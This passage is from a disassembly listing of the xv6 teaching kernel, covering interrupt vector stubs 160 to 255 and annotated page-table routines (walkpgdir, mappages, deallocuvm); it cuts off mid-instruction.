push $0x0 pushl $160 80106419: 68 a0 00 00 00 push $0xa0 jmp alltraps 8010641e: e9 26 f5 ff ff jmp 80105949 <alltraps> 80106423 <vector161>: .globl vector161 vector161: pushl $0 80106423: 6a 00 push $0x0 pushl $161 80106425: 68 a1 00 00 00 push $0xa1 jmp alltraps 8010642a: e9 1a f5 ff ff jmp 80105949 <alltraps> 8010642f <vector162>: .globl vector162 vector162: pushl $0 8010642f: 6a 00 push $0x0 pushl $162 80106431: 68 a2 00 00 00 push $0xa2 jmp alltraps 80106436: e9 0e f5 ff ff jmp 80105949 <alltraps> 8010643b <vector163>: .globl vector163 vector163: pushl $0 8010643b: 6a 00 push $0x0 pushl $163 8010643d: 68 a3 00 00 00 push $0xa3 jmp alltraps 80106442: e9 02 f5 ff ff jmp 80105949 <alltraps> 80106447 <vector164>: .globl vector164 vector164: pushl $0 80106447: 6a 00 push $0x0 pushl $164 80106449: 68 a4 00 00 00 push $0xa4 jmp alltraps 8010644e: e9 f6 f4 ff ff jmp 80105949 <alltraps> 80106453 <vector165>: .globl vector165 vector165: pushl $0 80106453: 6a 00 push $0x0 pushl $165 80106455: 68 a5 00 00 00 push $0xa5 jmp alltraps 8010645a: e9 ea f4 ff ff jmp 80105949 <alltraps> 8010645f <vector166>: .globl vector166 vector166: pushl $0 8010645f: 6a 00 push $0x0 pushl $166 80106461: 68 a6 00 00 00 push $0xa6 jmp alltraps 80106466: e9 de f4 ff ff jmp 80105949 <alltraps> 8010646b <vector167>: .globl vector167 vector167: pushl $0 8010646b: 6a 00 push $0x0 pushl $167 8010646d: 68 a7 00 00 00 push $0xa7 jmp alltraps 80106472: e9 d2 f4 ff ff jmp 80105949 <alltraps> 80106477 <vector168>: .globl vector168 vector168: pushl $0 80106477: 6a 00 push $0x0 pushl $168 80106479: 68 a8 00 00 00 push $0xa8 jmp alltraps 8010647e: e9 c6 f4 ff ff jmp 80105949 <alltraps> 80106483 <vector169>: .globl vector169 vector169: pushl $0 80106483: 6a 00 push $0x0 pushl $169 80106485: 68 a9 00 00 00 push $0xa9 jmp alltraps 8010648a: e9 ba f4 ff ff jmp 80105949 <alltraps> 8010648f <vector170>: .globl vector170 vector170: pushl $0 8010648f: 6a 00 push $0x0 pushl $170 80106491: 68 aa 00 00 00 push $0xaa jmp alltraps 80106496: e9 ae f4 ff ff jmp 80105949 <alltraps> 8010649b <vector171>: .globl vector171 vector171: pushl $0 8010649b: 6a 00 push $0x0 pushl $171 8010649d: 68 ab 00 00 00 push $0xab jmp alltraps 801064a2: e9 a2 f4 ff ff jmp 80105949 <alltraps> 801064a7 <vector172>: .globl vector172 vector172: pushl $0 801064a7: 6a 00 push $0x0 pushl $172 801064a9: 68 ac 00 00 00 push $0xac jmp alltraps 801064ae: e9 96 f4 ff ff jmp 80105949 <alltraps> 801064b3 <vector173>: .globl vector173 vector173: pushl $0 801064b3: 6a 00 push $0x0 pushl $173 801064b5: 68 ad 00 00 00 push $0xad jmp alltraps 801064ba: e9 8a f4 ff ff jmp 80105949 <alltraps> 801064bf <vector174>: .globl vector174 vector174: pushl $0 801064bf: 6a 00 push $0x0 pushl $174 801064c1: 68 ae 00 00 00 push $0xae jmp alltraps 801064c6: e9 7e f4 ff ff jmp 80105949 <alltraps> 801064cb <vector175>: .globl vector175 vector175: pushl $0 801064cb: 6a 00 push $0x0 pushl $175 801064cd: 68 af 00 00 00 push $0xaf jmp alltraps 801064d2: e9 72 f4 ff ff jmp 80105949 <alltraps> 801064d7 <vector176>: .globl vector176 vector176: pushl $0 801064d7: 6a 00 push $0x0 pushl $176 801064d9: 68 b0 00 00 00 push $0xb0 jmp alltraps 801064de: e9 66 f4 ff ff jmp 80105949 <alltraps> 801064e3 <vector177>: .globl vector177 vector177: pushl $0 801064e3: 6a 00 push $0x0 pushl $177 801064e5: 68 b1 00 00 00 push $0xb1 jmp alltraps 801064ea: e9 5a f4 ff ff jmp 80105949 <alltraps> 801064ef <vector178>: .globl vector178 vector178: pushl $0 801064ef: 6a 00 push $0x0 pushl $178 801064f1: 68 b2 00 00 00 push $0xb2 jmp alltraps 801064f6: e9 4e f4 ff ff jmp 80105949 <alltraps> 801064fb <vector179>: .globl vector179 vector179: pushl $0 801064fb: 6a 00 push $0x0 pushl $179 801064fd: 68 b3 00 00 00 push $0xb3 jmp alltraps 80106502: e9 42 f4 ff ff jmp 80105949 <alltraps> 80106507 <vector180>: .globl vector180 vector180: pushl $0 80106507: 6a 00 push $0x0 pushl $180 80106509: 68 b4 00 00 00 push $0xb4 jmp alltraps 8010650e: e9 36 f4 ff ff jmp 80105949 <alltraps> 80106513 <vector181>: .globl vector181 vector181: pushl $0 80106513: 6a 00 push $0x0 pushl $181 80106515: 68 b5 00 00 00 push $0xb5 jmp alltraps 8010651a: e9 2a f4 ff ff jmp 80105949 <alltraps> 8010651f <vector182>: .globl vector182 vector182: pushl $0 8010651f: 6a 00 push $0x0 pushl $182 80106521: 68 b6 00 00 00 push $0xb6 jmp alltraps 80106526: e9 1e f4 ff ff jmp 80105949 <alltraps> 8010652b <vector183>: .globl vector183 vector183: pushl $0 8010652b: 6a 00 push $0x0 pushl $183 8010652d: 68 b7 00 00 00 push $0xb7 jmp alltraps 80106532: e9 12 f4 ff ff jmp 80105949 <alltraps> 80106537 <vector184>: .globl vector184 vector184: pushl $0 80106537: 6a 00 push $0x0 pushl $184 80106539: 68 b8 00 00 00 push $0xb8 jmp alltraps 8010653e: e9 06 f4 ff ff jmp 80105949 <alltraps> 80106543 <vector185>: .globl vector185 vector185: pushl $0 80106543: 6a 00 push $0x0 pushl $185 80106545: 68 b9 00 00 00 push $0xb9 jmp alltraps 8010654a: e9 fa f3 ff ff jmp 80105949 <alltraps> 8010654f <vector186>: .globl vector186 vector186: pushl $0 8010654f: 6a 00 push $0x0 pushl $186 80106551: 68 ba 00 00 00 push $0xba jmp alltraps 80106556: e9 ee f3 ff ff jmp 80105949 <alltraps> 8010655b <vector187>: .globl vector187 vector187: pushl $0 8010655b: 6a 00 push $0x0 pushl $187 8010655d: 68 bb 00 00 00 push $0xbb jmp alltraps 80106562: e9 e2 f3 ff ff jmp 80105949 <alltraps> 80106567 <vector188>: .globl vector188 vector188: pushl $0 80106567: 6a 00 push $0x0 pushl $188 80106569: 68 bc 00 00 00 push $0xbc jmp alltraps 8010656e: e9 d6 f3 ff ff jmp 80105949 <alltraps> 80106573 <vector189>: .globl vector189 vector189: pushl $0 80106573: 6a 00 push $0x0 pushl $189 80106575: 68 bd 00 00 00 push $0xbd jmp alltraps 8010657a: e9 ca f3 ff ff jmp 80105949 <alltraps> 8010657f <vector190>: .globl vector190 vector190: pushl $0 8010657f: 6a 00 push $0x0 pushl $190 80106581: 68 be 00 00 00 push $0xbe jmp alltraps 80106586: e9 be f3 ff ff jmp 80105949 <alltraps> 8010658b <vector191>: .globl vector191 vector191: pushl $0 8010658b: 6a 00 push $0x0 pushl $191 8010658d: 68 bf 00 00 00 push $0xbf jmp alltraps 80106592: e9 b2 f3 ff ff jmp 80105949 <alltraps> 80106597 <vector192>: .globl vector192 vector192: pushl $0 80106597: 6a 00 push $0x0 pushl $192 80106599: 68 c0 00 00 00 push $0xc0 jmp alltraps 8010659e: e9 a6 f3 ff ff jmp 80105949 <alltraps> 801065a3 <vector193>: .globl vector193 vector193: pushl $0 801065a3: 6a 00 push $0x0 pushl $193 801065a5: 68 c1 00 00 00 push $0xc1 jmp alltraps 801065aa: e9 9a f3 ff ff jmp 80105949 <alltraps> 801065af <vector194>: .globl vector194 vector194: pushl $0 801065af: 6a 00 push $0x0 pushl $194 801065b1: 68 c2 00 00 00 push $0xc2 jmp alltraps 801065b6: e9 8e f3 ff ff jmp 80105949 <alltraps> 801065bb <vector195>: .globl vector195 vector195: pushl $0 801065bb: 6a 00 push $0x0 pushl $195 801065bd: 68 c3 00 00 00 push $0xc3 jmp alltraps 801065c2: e9 82 f3 ff ff jmp 80105949 <alltraps> 801065c7 <vector196>: .globl vector196 vector196: pushl $0 801065c7: 6a 00 push $0x0 pushl $196 801065c9: 68 c4 00 00 00 push $0xc4 jmp alltraps 801065ce: e9 76 f3 ff ff jmp 80105949 <alltraps> 801065d3 <vector197>: .globl vector197 vector197: pushl $0 801065d3: 6a 00 push $0x0 pushl $197 801065d5: 68 c5 00 00 00 push $0xc5 jmp alltraps 801065da: e9 6a f3 ff ff jmp 80105949 <alltraps> 801065df <vector198>: .globl vector198 vector198: pushl $0 801065df: 6a 00 push $0x0 pushl $198 801065e1: 68 c6 00 00 00 push $0xc6 jmp alltraps 801065e6: e9 5e f3 ff ff jmp 80105949 <alltraps> 801065eb <vector199>: .globl vector199 vector199: pushl $0 801065eb: 6a 00 push $0x0 pushl $199 801065ed: 68 c7 00 00 00 push $0xc7 jmp alltraps 801065f2: e9 52 f3 ff ff jmp 80105949 <alltraps> 801065f7 <vector200>: .globl vector200 vector200: pushl $0 801065f7: 6a 00 push $0x0 pushl $200 801065f9: 68 c8 00 00 00 push $0xc8 jmp alltraps 801065fe: e9 46 f3 ff ff jmp 80105949 <alltraps> 80106603 <vector201>: .globl vector201 vector201: pushl $0 80106603: 6a 00 push $0x0 pushl $201 80106605: 68 c9 00 00 00 push $0xc9 jmp alltraps 8010660a: e9 3a f3 ff ff jmp 80105949 <alltraps> 8010660f <vector202>: .globl vector202 vector202: pushl $0 8010660f: 6a 00 push $0x0 pushl $202 80106611: 68 ca 00 00 00 push $0xca jmp alltraps 80106616: e9 2e f3 ff ff jmp 80105949 <alltraps> 8010661b <vector203>: .globl vector203 vector203: pushl $0 8010661b: 6a 00 push $0x0 pushl $203 8010661d: 68 cb 00 00 00 push $0xcb jmp alltraps 80106622: e9 22 f3 ff ff jmp 80105949 <alltraps> 80106627 <vector204>: .globl vector204 vector204: pushl $0 80106627: 6a 00 push $0x0 pushl $204 80106629: 68 cc 00 00 00 push $0xcc jmp alltraps 8010662e: e9 16 f3 ff ff jmp 80105949 <alltraps> 80106633 <vector205>: .globl vector205 vector205: pushl $0 80106633: 6a 00 push $0x0 pushl $205 80106635: 68 cd 00 00 00 push $0xcd jmp alltraps 8010663a: e9 0a f3 ff ff jmp 80105949 <alltraps> 8010663f <vector206>: .globl vector206 vector206: pushl $0 8010663f: 6a 00 push $0x0 pushl $206 80106641: 68 ce 00 00 00 push $0xce jmp alltraps 80106646: e9 fe f2 ff ff jmp 80105949 <alltraps> 8010664b <vector207>: .globl vector207 vector207: pushl $0 8010664b: 6a 00 push $0x0 pushl $207 8010664d: 68 cf 00 00 00 push $0xcf jmp alltraps 80106652: e9 f2 f2 ff ff jmp 80105949 <alltraps> 80106657 <vector208>: .globl vector208 vector208: pushl $0 80106657: 6a 00 push $0x0 pushl $208 80106659: 68 d0 00 00 00 push $0xd0 jmp alltraps 8010665e: e9 e6 f2 ff ff jmp 80105949 <alltraps> 80106663 <vector209>: .globl vector209 vector209: pushl $0 80106663: 6a 00 push $0x0 pushl $209 80106665: 68 d1 00 00 00 push $0xd1 jmp alltraps 8010666a: e9 da f2 ff ff jmp 80105949 <alltraps> 8010666f <vector210>: .globl vector210 vector210: pushl $0 8010666f: 6a 00 push $0x0 pushl $210 80106671: 68 d2 00 00 00 push $0xd2 jmp alltraps 80106676: e9 ce f2 ff ff jmp 80105949 <alltraps> 8010667b <vector211>: .globl vector211 vector211: pushl $0 8010667b: 6a 00 push $0x0 pushl $211 8010667d: 68 d3 00 00 00 push $0xd3 jmp alltraps 80106682: e9 c2 f2 ff ff jmp 80105949 <alltraps> 80106687 <vector212>: .globl vector212 vector212: pushl $0 80106687: 6a 00 push $0x0 pushl $212 80106689: 68 d4 00 00 00 push $0xd4 jmp alltraps 8010668e: e9 b6 f2 ff ff jmp 80105949 <alltraps> 80106693 <vector213>: .globl vector213 vector213: pushl $0 80106693: 6a 00 push $0x0 pushl $213 80106695: 68 d5 00 00 00 push $0xd5 jmp alltraps 8010669a: e9 aa f2 ff ff jmp 80105949 <alltraps> 8010669f <vector214>: .globl vector214 vector214: pushl $0 8010669f: 6a 00 push $0x0 pushl $214 801066a1: 68 d6 00 00 00 push $0xd6 jmp alltraps 801066a6: e9 9e f2 ff ff jmp 80105949 <alltraps> 801066ab <vector215>: .globl vector215 vector215: pushl $0 801066ab: 6a 00 push $0x0 pushl $215 801066ad: 68 d7 00 00 00 push $0xd7 jmp alltraps 801066b2: e9 92 f2 ff ff jmp 80105949 <alltraps> 801066b7 <vector216>: .globl vector216 vector216: pushl $0 801066b7: 6a 00 push $0x0 pushl $216 801066b9: 68 d8 00 00 00 push $0xd8 jmp alltraps 801066be: e9 86 f2 ff ff jmp 80105949 <alltraps> 801066c3 <vector217>: .globl vector217 vector217: pushl $0 801066c3: 6a 00 push $0x0 pushl $217 801066c5: 68 d9 00 00 00 push $0xd9 jmp alltraps 801066ca: e9 7a f2 ff ff jmp 80105949 <alltraps> 801066cf <vector218>: .globl vector218 vector218: pushl $0 801066cf: 6a 00 push $0x0 pushl $218 801066d1: 68 da 00 00 00 push $0xda jmp alltraps 801066d6: e9 6e f2 ff ff jmp 80105949 <alltraps> 801066db <vector219>: .globl vector219 vector219: pushl $0 801066db: 6a 00 push $0x0 pushl $219 801066dd: 68 db 00 00 00 push $0xdb jmp alltraps 801066e2: e9 62 f2 ff ff jmp 80105949 <alltraps> 801066e7 <vector220>: .globl vector220 vector220: pushl $0 801066e7: 6a 00 push $0x0 pushl $220 801066e9: 68 dc 00 00 00 push $0xdc jmp alltraps 801066ee: e9 56 f2 ff ff jmp 80105949 <alltraps> 801066f3 <vector221>: .globl vector221 vector221: pushl $0 801066f3: 6a 00 push $0x0 pushl $221 801066f5: 68 dd 00 00 00 push $0xdd jmp alltraps 801066fa: e9 4a f2 ff ff jmp 80105949 <alltraps> 801066ff <vector222>: .globl vector222 vector222: pushl $0 801066ff: 6a 00 push $0x0 pushl $222 80106701: 68 de 00 00 00 push $0xde jmp alltraps 80106706: e9 3e f2 ff ff jmp 80105949 <alltraps> 8010670b <vector223>: .globl vector223 vector223: pushl $0 8010670b: 6a 00 push $0x0 pushl $223 8010670d: 68 df 00 00 00 push $0xdf jmp alltraps 80106712: e9 32 f2 ff ff jmp 80105949 <alltraps> 80106717 <vector224>: .globl vector224 vector224: pushl $0 80106717: 6a 00 push $0x0 pushl $224 80106719: 68 e0 00 00 00 push $0xe0 jmp alltraps 8010671e: e9 26 f2 ff ff jmp 80105949 <alltraps> 80106723 <vector225>: .globl vector225 vector225: pushl $0 80106723: 6a 00 push $0x0 pushl $225 80106725: 68 e1 00 00 00 push $0xe1 jmp alltraps 8010672a: e9 1a f2 ff ff jmp 80105949 <alltraps> 8010672f <vector226>: .globl vector226 vector226: pushl $0 8010672f: 6a 00 push $0x0 pushl $226 80106731: 68 e2 00 00 00 push $0xe2 jmp alltraps 80106736: e9 0e f2 ff ff jmp 80105949 <alltraps> 8010673b <vector227>: .globl vector227 vector227: pushl $0 8010673b: 6a 00 push $0x0 pushl $227 8010673d: 68 e3 00 00 00 push $0xe3 jmp alltraps 80106742: e9 02 f2 ff ff jmp 80105949 <alltraps> 80106747 <vector228>: .globl vector228 vector228: pushl $0 80106747: 6a 00 push $0x0 pushl $228 80106749: 68 e4 00 00 00 push $0xe4 jmp alltraps 8010674e: e9 f6 f1 ff ff jmp 80105949 <alltraps> 80106753 <vector229>: .globl vector229 vector229: pushl $0 80106753: 6a 00 push $0x0 pushl $229 80106755: 68 e5 00 00 00 push $0xe5 jmp alltraps 8010675a: e9 ea f1 ff ff jmp 80105949 <alltraps> 8010675f <vector230>: .globl vector230 vector230: pushl $0 8010675f: 6a 00 push $0x0 pushl $230 80106761: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106766: e9 de f1 ff ff jmp 80105949 <alltraps> 8010676b <vector231>: .globl vector231 vector231: pushl $0 8010676b: 6a 00 push $0x0 pushl $231 8010676d: 68 e7 00 00 00 push $0xe7 jmp alltraps 80106772: e9 d2 f1 ff ff jmp 80105949 <alltraps> 80106777 <vector232>: .globl vector232 vector232: pushl $0 80106777: 6a 00 push $0x0 pushl $232 80106779: 68 e8 00 00 00 push $0xe8 jmp alltraps 8010677e: e9 c6 f1 ff ff jmp 80105949 <alltraps> 80106783 <vector233>: .globl vector233 vector233: pushl $0 80106783: 6a 00 push $0x0 pushl $233 80106785: 68 e9 00 00 00 push $0xe9 jmp alltraps 8010678a: e9 ba f1 ff ff jmp 80105949 <alltraps> 8010678f <vector234>: .globl vector234 vector234: pushl $0 8010678f: 6a 00 push $0x0 pushl $234 80106791: 68 ea 00 00 00 push $0xea jmp alltraps 80106796: e9 ae f1 ff ff jmp 80105949 <alltraps> 8010679b <vector235>: .globl vector235 vector235: pushl $0 8010679b: 6a 00 push $0x0 pushl $235 8010679d: 68 eb 00 00 00 push $0xeb jmp alltraps 801067a2: e9 a2 f1 ff ff jmp 80105949 <alltraps> 801067a7 <vector236>: .globl vector236 vector236: pushl $0 801067a7: 6a 00 push $0x0 pushl $236 801067a9: 68 ec 00 00 00 push $0xec jmp alltraps 801067ae: e9 96 f1 ff ff jmp 80105949 <alltraps> 801067b3 <vector237>: .globl vector237 vector237: pushl $0 801067b3: 6a 00 push $0x0 pushl $237 801067b5: 68 ed 00 00 00 push $0xed jmp alltraps 801067ba: e9 8a f1 ff ff jmp 80105949 <alltraps> 801067bf <vector238>: .globl vector238 vector238: pushl $0 801067bf: 6a 00 push $0x0 pushl $238 801067c1: 68 ee 00 00 00 push $0xee jmp alltraps 801067c6: e9 7e f1 ff ff jmp 80105949 <alltraps> 801067cb <vector239>: .globl vector239 vector239: pushl $0 801067cb: 6a 00 push $0x0 pushl $239 801067cd: 68 ef 00 00 00 push $0xef jmp alltraps 801067d2: e9 72 f1 ff ff jmp 80105949 <alltraps> 801067d7 <vector240>: .globl vector240 vector240: pushl $0 801067d7: 6a 00 push $0x0 pushl $240 801067d9: 68 f0 00 00 00 push $0xf0 jmp alltraps 801067de: e9 66 f1 ff ff jmp 80105949 <alltraps> 801067e3 <vector241>: .globl vector241 vector241: pushl $0 801067e3: 6a 00 push $0x0 pushl $241 801067e5: 68 f1 00 00 00 push $0xf1 jmp alltraps 801067ea: e9 5a f1 ff ff jmp 80105949 <alltraps> 801067ef <vector242>: .globl vector242 vector242: pushl $0 801067ef: 6a 00 push $0x0 pushl $242 801067f1: 68 f2 00 00 00 push $0xf2 jmp alltraps 801067f6: e9 4e f1 ff ff jmp 80105949 <alltraps> 801067fb <vector243>: .globl vector243 vector243: pushl $0 801067fb: 6a 00 push $0x0 pushl $243 801067fd: 68 f3 00 00 00 push $0xf3 jmp alltraps 80106802: e9 42 f1 ff ff jmp 80105949 <alltraps> 80106807 <vector244>: .globl vector244 vector244: pushl $0 80106807: 6a 00 push $0x0 pushl $244 80106809: 68 f4 00 00 00 push $0xf4 jmp alltraps 8010680e: e9 36 f1 ff ff jmp 80105949 <alltraps> 80106813 <vector245>: .globl vector245 vector245: pushl $0 80106813: 6a 00 push $0x0 pushl $245 80106815: 68 f5 00 00 00 push $0xf5 jmp alltraps 8010681a: e9 2a f1 ff ff jmp 80105949 <alltraps> 8010681f <vector246>: .globl vector246 vector246: pushl $0 8010681f: 6a 00 push $0x0 pushl $246 80106821: 68 f6 00 00 00 push $0xf6 jmp alltraps 80106826: e9 1e f1 ff ff jmp 80105949 <alltraps> 8010682b <vector247>: .globl vector247 vector247: pushl $0 8010682b: 6a 00 push $0x0 pushl $247 8010682d: 68 f7 00 00 00 push $0xf7 jmp alltraps 80106832: e9 12 f1 ff ff jmp 80105949 <alltraps> 80106837 <vector248>: .globl vector248 vector248: pushl $0 80106837: 6a 00 push $0x0 pushl $248 80106839: 68 f8 00 00 00 push $0xf8 jmp alltraps 8010683e: e9 06 f1 ff ff jmp 80105949 <alltraps> 80106843 <vector249>: .globl vector249 vector249: pushl $0 80106843: 6a 00 push $0x0 pushl $249 80106845: 68 f9 00 00 00 push $0xf9 jmp alltraps 8010684a: e9 fa f0 ff ff jmp 80105949 <alltraps> 8010684f <vector250>: .globl vector250 vector250: pushl $0 8010684f: 6a 00 push $0x0 pushl $250 80106851: 68 fa 00 00 00 push $0xfa jmp alltraps 80106856: e9 ee f0 ff ff jmp 80105949 <alltraps> 8010685b <vector251>: .globl vector251 vector251: pushl $0 8010685b: 6a 00 push $0x0 pushl $251 8010685d: 68 fb 00 00 00 push $0xfb jmp alltraps 80106862: e9 e2 f0 ff ff jmp 80105949 <alltraps> 80106867 <vector252>: .globl vector252 vector252: pushl $0 80106867: 6a 00 push $0x0 pushl $252 80106869: 68 fc 00 00 00 push $0xfc jmp alltraps 8010686e: e9 d6 f0 ff ff jmp 80105949 <alltraps> 80106873 <vector253>: .globl vector253 vector253: pushl $0 80106873: 6a 00 push $0x0 pushl $253 80106875: 68 fd 00 00 00 push $0xfd jmp alltraps 8010687a: e9 ca f0 ff ff jmp 80105949 <alltraps> 8010687f <vector254>: .globl vector254 vector254: pushl $0 8010687f: 6a 00 push $0x0 pushl $254 80106881: 68 fe 00 00 00 push $0xfe jmp alltraps 80106886: e9 be f0 ff ff jmp 80105949 <alltraps> 8010688b <vector255>: .globl vector255 vector255: pushl $0 8010688b: 6a 00 push $0x0 pushl $255 8010688d: 68 ff 00 00 00 push $0xff jmp alltraps 80106892: e9 b2 f0 ff ff jmp 80105949 <alltraps> 80106897: 66 90 xchg %ax,%ax 80106899: 66 90 xchg %ax,%ax 8010689b: 66 90 xchg %ax,%ax 8010689d: 66 90 xchg %ax,%ax 8010689f: 90 nop 801068a0 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 801068a0: 55 push %ebp 801068a1: 89 e5 mov %esp,%ebp 801068a3: 57 push %edi 801068a4: 56 push %esi 801068a5: 53 push %ebx pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 801068a6: 89 d3 mov %edx,%ebx { 801068a8: 89 d7 mov %edx,%edi pde = &pgdir[PDX(va)]; 801068aa: c1 eb 16 shr $0x16,%ebx 801068ad: 8d 34 98 lea (%eax,%ebx,4),%esi { 801068b0: 83 ec 0c sub $0xc,%esp if(*pde & PTE_P){ 801068b3: 8b 06 mov (%esi),%eax 801068b5: a8 01 test $0x1,%al 801068b7: 74 27 je 801068e0 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 801068b9: 25 00 f0 ff ff and $0xfffff000,%eax 801068be: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 801068c4: c1 ef 0a shr $0xa,%edi } 801068c7: 8d 65 f4 lea -0xc(%ebp),%esp return &pgtab[PTX(va)]; 801068ca: 89 fa mov %edi,%edx 801068cc: 81 e2 fc 0f 00 00 and $0xffc,%edx 801068d2: 8d 04 13 lea (%ebx,%edx,1),%eax } 801068d5: 5b pop %ebx 801068d6: 5e pop %esi 801068d7: 5f pop %edi 801068d8: 5d pop %ebp 801068d9: c3 ret 801068da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 801068e0: 85 c9 test %ecx,%ecx 801068e2: 74 2c je 80106910 <walkpgdir+0x70> 801068e4: e8 d7 bb ff ff call 801024c0 <kalloc> 801068e9: 85 c0 test %eax,%eax 801068eb: 89 c3 mov %eax,%ebx 801068ed: 74 21 je 80106910 <walkpgdir+0x70> memset(pgtab, 0, PGSIZE); 801068ef: 83 ec 04 sub $0x4,%esp 801068f2: 68 00 10 00 00 push $0x1000 801068f7: 6a 00 push $0x0 801068f9: 50 push %eax 801068fa: e8 61 de ff ff call 80104760 <memset> *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 801068ff: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106905: 83 c4 10 add $0x10,%esp 80106908: 83 c8 07 or $0x7,%eax 8010690b: 89 06 mov %eax,(%esi) 8010690d: eb b5 jmp 801068c4 <walkpgdir+0x24> 8010690f: 90 nop } 80106910: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106913: 31 c0 xor %eax,%eax } 80106915: 5b pop %ebx 80106916: 5e pop %esi 80106917: 5f pop %edi 80106918: 5d pop %ebp 80106919: c3 ret 8010691a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106920 <mappages>: // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 80106920: 55 push %ebp 80106921: 89 e5 mov %esp,%ebp 80106923: 57 push %edi 80106924: 56 push %esi 80106925: 53 push %ebx char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); 80106926: 89 d3 mov %edx,%ebx 80106928: 81 e3 00 f0 ff ff and $0xfffff000,%ebx { 8010692e: 83 ec 1c sub $0x1c,%esp 80106931: 89 45 e4 mov %eax,-0x1c(%ebp) last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80106934: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax 80106938: 8b 7d 08 mov 0x8(%ebp),%edi 8010693b: 25 00 f0 ff ff and $0xfffff000,%eax 80106940: 89 45 e0 mov %eax,-0x20(%ebp) for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; 80106943: 8b 45 0c mov 0xc(%ebp),%eax 80106946: 29 df sub %ebx,%edi 80106948: 83 c8 01 or $0x1,%eax 8010694b: 89 45 dc mov %eax,-0x24(%ebp) 8010694e: eb 15 jmp 80106965 <mappages+0x45> if(*pte & PTE_P) 80106950: f6 00 01 testb $0x1,(%eax) 80106953: 75 45 jne 8010699a <mappages+0x7a> *pte = pa | perm | PTE_P; 80106955: 0b 75 dc or -0x24(%ebp),%esi if(a == last) 80106958: 3b 5d e0 cmp -0x20(%ebp),%ebx *pte = pa | perm | PTE_P; 8010695b: 89 30 mov %esi,(%eax) if(a == last) 8010695d: 74 31 je 80106990 <mappages+0x70> break; a += PGSIZE; 8010695f: 81 c3 00 10 00 00 add $0x1000,%ebx if((pte = walkpgdir(pgdir, a, 1)) == 0) 80106965: 8b 45 e4 mov -0x1c(%ebp),%eax 80106968: b9 01 00 00 00 mov $0x1,%ecx 8010696d: 89 da mov %ebx,%edx 8010696f: 8d 34 3b lea (%ebx,%edi,1),%esi 80106972: e8 29 ff ff ff call 801068a0 <walkpgdir> 80106977: 85 c0 test %eax,%eax 80106979: 75 d5 jne 80106950 <mappages+0x30> pa += PGSIZE; } return 0; } 8010697b: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 8010697e: b8 ff ff ff ff mov $0xffffffff,%eax } 80106983: 5b pop %ebx 80106984: 5e pop %esi 80106985: 5f pop %edi 80106986: 5d pop %ebp 80106987: c3 ret 80106988: 90 nop 80106989: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106990: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106993: 31 c0 xor %eax,%eax } 80106995: 5b pop %ebx 80106996: 5e pop %esi 80106997: 5f pop %edi 80106998: 5d pop %ebp 80106999: c3 ret panic("remap"); 8010699a: 83 ec 0c sub $0xc,%esp 8010699d: 68 cc 7b 10 80 push $0x80107bcc 801069a2: e8 e9 99 ff ff call 80100390 <panic> 801069a7: 89 f6 mov %esi,%esi 801069a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801069b0 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801069b0: 55 push %ebp 801069b1: 89 e5 mov %esp,%ebp 801069b3: 57 push %edi 801069b4: 56 push %esi 801069b5: 53 push %ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 801069b6: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801069bc: 89 c7 mov %eax,%edi a = PGROUNDUP(newsz); 801069be: 81 e3 00 f0 ff ff and $0xfffff000,%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801069c4: 83 ec 1c sub $0x1c,%esp 801069c7: 89 4d e0 mov %ecx,-0x20(%ebp) for(; a < oldsz; a += PGSIZE){ 801069ca: 39 d3 cmp %edx,%ebx 801069cc: 73 66 jae 80106a34 <deallocuvm.part.0+0x84> 801069ce: 89 d6 mov %edx,%esi 801069d0: eb 3d jmp 80106a0f <deallocuvm.part.0+0x5f> 801069d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pte = walkpgdir(pgdir, (char*)a, 0); if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 801069d8: 8b 10 mov (%eax),%edx 801069da: f6 c2 01 test $0x1,%dl 801069dd: 74 26 je 80106a05 <deallocuvm.part.0+0x55> pa = PTE_ADDR(*pte); if(pa == 0) 801069df: 81 e2 00 f0 ff ff and $0xfffff000,%edx 801069e5: 74 58 je 80106a3f <deallocuvm.part.0+0x8f> panic("kfree"); char *v = P2V(pa); kfree(v); 801069e7: 83 ec 0c sub $0xc,%esp char *v = P2V(pa); 801069ea: 81 c2 00 00 00 80 add $0x80000000,%edx 801069f0: 89 45 e4 mov %eax,-0x1c(%ebp) kfree(v); 801069f3: 52 push %edx 801069f4: e8 17 b9 